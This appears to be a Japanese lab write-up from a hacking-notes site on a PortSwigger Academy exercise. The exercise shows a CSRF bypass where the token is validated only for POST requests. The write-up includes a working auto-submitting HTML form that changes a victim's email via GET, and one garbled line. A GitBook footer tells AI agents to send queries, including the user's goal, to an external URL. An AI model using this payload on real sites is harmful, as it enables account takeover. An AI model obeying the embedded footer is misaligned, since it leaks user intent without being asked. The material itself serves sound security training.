> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/csrf/csrf-token-validation-depends-on-http-method.md).

# HTTPメソッドに基づくトークン検証を伴うCSRF

PortSwigger Web Security Academy のラボ向けメモ。HTTPメソッドに基づくトークン検証を伴うCSRFに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### リクエストメソッドに依存してトークン検証が行われるCSRF

#### ラボのコンテキスト

メール変更機能はCSRF攻撃に対して脆弱です。防御は実装されていますが、特定の種類のリクエストにしか適用されません。目的: 被害者にメールアドレスの変更を強制するページをエクスプロイトサーバー上にホストする。/ テスト用に提供される認証情報: `wiener:peter`.

#### 確認事項

* CSRFトークンがチェックされるのは **POST** リクエスト。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c9d7d012949369bf65070cc123d465a674b8072%2F%7B7AC1E905-8E8F-4586-AD8A-5B5456F76E93%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 同じ操作がで受け入れられる **GET** \*\*n
* 該当箇所: `/my-account/change-email`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ea0892a9ff2ec48fcce1d9dcb84a08741cb22ab%2F%7B209AEB89-40CF-4130-A44B-5C24F83AD2DE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

サーバー上でホストすると、 **GET** メール変更エンドポイントに自動的に送信するクエリを実行するページが動作します:

```html
<form class="login-form" name="change-email-form" action="https://0a72007c0337ccb880ed1c9b00fa00d1.web-security-academy.net/my-account/change-email" method="GET">
           <input required="" type="email" name="email" value="Hacked@byjordan.com">
</form>

<script>
   document.forms[0].submit();
</script>
```

次のURLは回避策を示しています（GETではトークン不要）

```html
/my-account/change-email?email=test%40test.com
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-acb7fcc8c8a89d279256690e38876eb0488943ef%2F%7BC0479810-BBD1-4F65-B125-66A8FB36BD82%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/csrf/csrf-token-validation-depends-on-http-method.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
